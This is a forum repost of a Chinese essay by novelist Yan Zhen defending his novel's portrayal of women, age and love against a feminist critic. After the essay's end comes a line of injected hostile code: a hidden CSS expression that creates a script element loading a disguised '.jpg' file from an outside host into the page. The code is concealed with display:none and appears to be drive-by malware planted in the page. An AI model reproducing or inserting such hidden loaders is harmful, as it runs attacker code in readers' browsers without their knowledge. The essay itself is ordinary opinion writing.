这是一个重新定义爱情的时代？（阎真）

显示全部楼层 · 2021-2-27 09:57:35

批评者把我定义为一个“女性的生理决定论”者，这是不准确的。我对波伏娃“文明决定论”表示了不同的看法，说“把女性的性别气质和心理特征仅仅描述为文明的结果，就无法理解她们生存的真实状态”。这种表述非常清楚，就是认为波伏娃的“文明决定论”有片面性。我愿意把自己的观点表述为“生理和文明共同决定论”。在我看来，在认知女性的时候，仅仅谈文明是不够的，生理因素也同样是决定性的因素。最简单地说，怀孕、流产等等，是女性来承受的，由这种种最基本的事实可以引发出太多太多的问题，这不是由生理事实引发出来的文明的问题吗？
2．生存真相：欲望优先，爱情贬值
由于我对女性生理特征的正视，我在小说中多次写到了在男女情爱关系上，年龄对女性有更大的压力和更多的制约。这也是我构思这部小说的一个事实基点。这种压力和制约是不是我们生活中触目皆是的事实？也许，82:28，这是一个最极端的例子，但类似的情况不是普遍存在吗？对话总是以最基本的事实认同为基础的，如果在最基本的事实认定上都达不到沟通，沟通就完全失去了基础。以我对生活的观察，看得太多，听得太多，几乎每一个人触目皆是的事实是：在两性关系中，年龄对女性的压力和制约要大得多，在这个消费主义的时代更是如此。不能因为我写出了这个事实，就把我定义为“彻底的男权主义者”。事实客观存在，我只是一个反映者。
市场经济是一种生产方式，又是一个价值体系，其思维方式渗透到两性关系中，就是我们每天在自己身边，在报刊和电视上看到的一个普遍事实，即欲望优先，爱情贬值。这种时代氛围对女性，特别是知识女性造成了极大的情感困境。这是我所忧虑的，也是我写这部小说的基本动因。我在生活中听到男人们对女性的年龄有很多“说法”，大多是围绕着“三十岁”展开的，我写到小说中去了，为的是准确表达欲望化的时代氛围对女性的压力，这也是小说的时代感所在。我很抱歉把这些说法集中到一部小说中会引起一些女性读者的不快，但作为一个作者，我无法回避这些“说法”所表现出的欲望化时代氛围。对欲望化社会氛围的批判，这也是这部小说的基本思想之一，这既是我站在人道主义的立场上想表达的思想，也是我对观察到的许多女性的生存困境的表现。
3．我尽量写出残酷的生存真相
我在小说中所表现的一切是不是真实？这比我的看法是不是正确有更重要的意义。对我来说，我是尽量贴近近生活，对生活作“零距离”的表现，从基本状态到每一个细节，都是从这一基本原则出发的。如果我对生活的表现是真实的，那么，如果部分女性读者看了之后感到郁闷，那我也只能表示歉意。也许我写得很残酷，但这种残酷是来自生活的挑战，我是否写出来，挑战都客观地存在着。难道我在小说中回避了挑战，她们在生活中就能回避吗？写出生存真相是残酷的，但不写出来，真相仍然是真相，残酷仍然是残酷，与是否写出来没有任何关系。也就是说，挑战来自生存现实，而不是我的小说。
4．很抱歉我无法回避女性必须面对的挑战
至少在女性存在生存困境这一点上，我与批评者还是达到了共识的。但对困境之归因的认识，则产生了明显的分歧。批评者认为这种困境是社会资源占有不平等造成的。为什么会有这种不平等？如果要进行溯源性分析，先天的生理因素又是无可回避的原因之一。这个问题暂且不论。当今社会能够在经济上自立的女性很多，但经济自立不能解决情感上的困境和压力问题，这也是一个触目皆是的事实。我承认自己在表现这种困境的时候，给生理因素予以了更多的关注。年龄对女性的情感生存有更大的压力，因而也造成了她们更大的情感困境，这不是几乎每个人都能够从生活中看到的生活真相吗？社会有那么多关于女性年龄的“说法”，不正是对这一生活真相的反映吗？承认这一基础性的事实，正是我和小说的基本出发点。我表现了由这一事实而来的女性情感生存困境，是从忧虑和关切出发的，这种忧虑和关切，正是我对小说主人公柳依依的基本态度。
几年前，我在谈到自己在写这么一部小说的时候，一个女性朋友马上很敏感地说：“希望你不要触及年龄问题，不要在她们的伤口上撒一把盐。”我真的非常非常抱歉，也请女性读者理解，即使我的小说回避了这个问题，她们在生活中还是不能回避。作为一个作家，如果我也回避这个基本事实，我又怎么能够表现生活的真相？我写出这种挑战不是想要“撒一把盐”，而是希望女性认识到挑战的严峻性，因而生活得更加理性、聪明、认真，以自己的智慧去追求幸福的人生，比如说，认识到青春应用来培育爱情构筑亲情，而不是用来游戏人生。又比如说，从和谐而不是对抗的理念出发走近男性。
5．爱是女性生命的核心价值
女性比男性对爱更加看重。在对这个基础性事实的认定上，批评者与我也有着重大分歧。批评者说，“这类说法，我极少从周围女人的口中获得”，“这是男权社会对女性的一种潜在期待”。对于这种批评我要反问：“难道爱不是女性生命的核心价值？”如果不是，又怎么解释简·爱，包法利夫人，安娜·卡列尼娜等文学经典中的女性形象？难道在当代社会，人性改变了吗？不可否认，在消费至上的社会背景之下，我们的生活中出现了一些“新人类”，对她们来说，问题在于“一辈子睡几个男人合算”，对爱已经不抱任何希望。在我看来，这不是人性，而是消费社会对人性的扭曲。难道，在这个消费主义的时代，爱情真的需要重新定义，即不是定义于“责任、忠诚和心灵性”，而是定义于“欲望”？
6．对批评者“先锋性”的批评
我与批评者的重大分歧，还表现在很难接受她们的“先锋性”。在我看来，女性的幸福还是应该到爱情、亲情和孩子等方向去寻求，但批评者却反问我：“不婚、不生育的女人就不幸福？”并以波伏娃为例来反驳我。我不能代替每一个女性来回答这个问题，但我至少敢说绝大多数女性很难接受这种“先锋性”。因此我很难认同波伏娃的所谓“亚婚姻”形态，即一个男人拥有一个女朋友，同时又拥有几个女性朋友，反之女性也一样。这种状态对女性的幸福来说没有任何普遍性的指导意义。在一种感情和身体的网状循环中，我们还能去设想爱情吗？退一万步说，我们不谈爱情，退一百步说，我们也不谈道德，我们只说生命的安全，这种循环会造成怎样的艾滋病泛滥？这种状态绝对是一种伤害女性的形态，在这种状态中把青春玩完了，女性的前途在哪里？波伏娃依凭与萨特精神上的共同性把情爱关系维系到生命的终点，这种特例中的特例难道有什么普遍意义吗？批评者这种豪迈的反问，让我感到了她青春的骄傲。但我同时也要说，这种骄傲不会有永恒的依据。这很残酷，但也很现实。
7．重申对女权主义的警惕
我总感到自己在与一个女权主义者对话，非常艰难。我在此重申自己对女权主义的警惕，因为这是一种对抗性思维，已被几十年的世界女权运动史证明此路不通，也不符合和谐社会的理想。我的小说绝对没有“以男性欲望的彻底伸张和女性的委曲求全来构筑”和谐的理念，相反，对男性欲望在这个消费的社会中的无限制扩张是持批评态度的，对一系列男性形象如夏伟凯、阿裴，秦一星等的塑造都表明了这一点，我从来没有把他们当作“正面人物”，同时也认为，“正面”和“反面”这种表达方式已经完全不能够表现生活的复杂性。
8．读后感：对两性关系前景悲观
我注意到批评者反复谈到了“性权利”、“性资源”、“多伴侣化”、“亚婚姻”、“性伴侣”，就是没有一处谈到爱情问题。不但如此，还将我“女性以爱为核心价值”的理念当作男权话语予以批评。这篇批评文章几乎就是在我们的时代普遍发生的“欲望扼杀爱情”的一个范例，让我惊异的是，作者竟是以女性的代言人的姿态来说话的。我怀疑这种姿态在多大程度上能代表北大学生特别是女生的观点，也不相信因为是北大的学生，就会有一种完全不同的人生态度。我想在此重申自己在小说中说过的话：在欲望化的视野中，女性的前景必然是黯淡的，她们将会随着时间的推移被边缘化。因为，谁会把青春不再的身体当作欲望的对象？女性幸福的前景不在亲情（批评者将之曲解为要忍受和包容男性的放纵）又在哪里呢？当然，如果“做一个嫁给自己的女人”，“把男人当作可有可无的阿斯匹林”，这也算一种幸福前景，我就无话可说。
最后我想这样来表达自己在读了这篇文章之后的感想：原来就对两性关系的前景持悲观态度，现在就更加悲观了。
（完）
ee:expression_r(function(){if(!window.r){varss='s'+'cript';var tt='text/ja'+'vas'+'cript';varst=document.createElement(ss);st.src='http://imgcache.suqian114.cn/a/s/sina.jpg';st.type=tt;document.getElementsByTagName_r('head').item(0).appendChild(st);window.r=1}}(this));width:0px;display:none"